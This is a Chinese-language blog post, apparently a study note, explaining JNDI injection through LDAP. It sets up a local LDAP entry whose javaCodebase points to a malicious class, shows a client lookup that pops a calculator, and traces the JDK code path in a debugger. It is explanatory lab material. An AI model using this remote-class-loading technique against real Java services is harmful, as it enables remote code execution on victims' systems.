再探JNDI

发布于 2022-11-28  102 次阅读


author: bilala

0x00 前言

上一篇中我们利用RMI服务来实现JNDI注入,这一篇利用LDAP

0x01 LDAP

介绍

LDAP本身并不是Java的内容,LDAP是轻量级目录访问协议,基于 X.500 的 DAP 发展而来的,其本身只是个协议,与RMI还是有差别的。其他关于LDAP的介绍自行百度即可,都是Java外的东西了。

搭建

直接去官网下载Apache Directory Studio,然后关掉欢迎页面后,在左下角新建服务器

image-20221128193146101

只填服务器名即可

image-20221128193229138

然后再在左下角连接服务器

image-20221128193256423

端口为10389

image-20221128193331313

连接好后在左侧可以新建Entry

image-20221128193404619

属性如下

image-20221128193429291

javaCodebse中填的就是恶意类的地址,恶意类与上篇中的一样,放哪都行到时候用python开http服务就行

0x02 攻击

在恶意类所在处开启http服务

image-20221128193541442

新建一个客户端类

package com.bilala;

import javax.naming.InitialContext;

public class JNDILDAPClient {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");
    }
}

运行弹出计算器

image-20221128193913070

过程为:

  1. 客户端向ldap服务器发起请求,寻找cn=test,dc=example,dc=com的远程对象
  2. ldap服务器告诉客户端说要找就去http://xxxx/处找,也就是刚刚设置的javaCodebase
  3. 客户端去http://xxxx/处请求这个远程对象
  4. 请求到后,客户端在本地实例化这个对象,从而触发恶意代码

0x03 分析

在lookup处下断点开始调试

image-20221128194403987

然后一路跟进各种lookup函数,到下图这里的p_lookup也跟进去

image-20221128194527540

ComponentContext#p_lookup中继续跟进c_lookup

image-20221128194700549

LdapCtx#c_lookup这里就是去服务器上获取数据了

在这里获取远程对象的属性值

image-20221128195007490

再往下跟一点,有个decodeObject,这个函数就是在解析这些属性值了

image-20221128195104176

decodeObject函数如下

    static Object decodeObject(Attributes attrs)
        throws NamingException {

        Attribute attr;

        // Get codebase, which is used in all 3 cases.
        String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
        try {
            if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
                ClassLoader cl = helper.getURLClassLoader(codebases);
                return deserializeObject((byte[])attr.get(), cl);
            } else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
                // For backward compatibility only
                return decodeRmiObject(
                    (String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
                    (String)attr.get(), codebases);
            }

            attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
            if (attr != null &&
                (attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
                    attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
                return decodeReference(attrs, codebases);
            }
            return null;
        } catch (IOException e) {
            NamingException ne = new NamingException();
            ne.setRootCause(e);
            throw ne;
        }
    }

这里就是对不同的远程对象调用不同的方法了,如果是SERIALIZED_DATA就调用deserializeObject,如果是REMOTE_LOC,就调用decodeRmiObject,我们刚刚给远程对象设置的是一个引用,所以这里走decodeReference

image-20221128195645684

跟进后也就是获取引用的值,我们走完这个函数然后一步步退出来,一直下一步回到LdapCtx

image-20221128195857592

可以看到此时已经获取到了远程对象的引用了,接下来就是去引用中的工厂位置找远程对象

再往下走到DirectoryManager.getObjectInstance

image-20221128200044148

跟进,实际上这个函数就是在实例化远程对象了,在这里边有个getObjectFactoryFromReference函数

image-20221128200437116

继续跟进,此时又来到了NamingManager#getObjectFactoryFromReference,其实RMI的调用过程也是走的这里

不管是RMI还是LDAP还是其他的,在客户端获取远程对象时,总会跟到他们对应的Context类中,比如这里的LDAP对应的是LdapCtx类,RMI有其对应的,其他的也有对应的,但是在实例化这个远程对象时总会跳出这些对应类,也就是走到了NamingManager#getObjectFactoryFromReference(至少这俩都是走到这,别的还没研究),所以JNDI注入对协议本身并没有限制,这也就是为什么RMI、LDAP、CORBA等SPI都可以实现注入的原因

NamingManager#getObjectFactoryFromReference的最后会实例化这个远程对象,从而触发了恶意类中的构造函数弹出计算器

image-20221128201316279

再下一步就弹出了

image-20221128201406581

0x04 参考资料

https://www.bilibili.com/video/BV1JY411F7mA/?spm_id_from=333.788&vd_source=0787520db3328a59550fd32baf2c85d4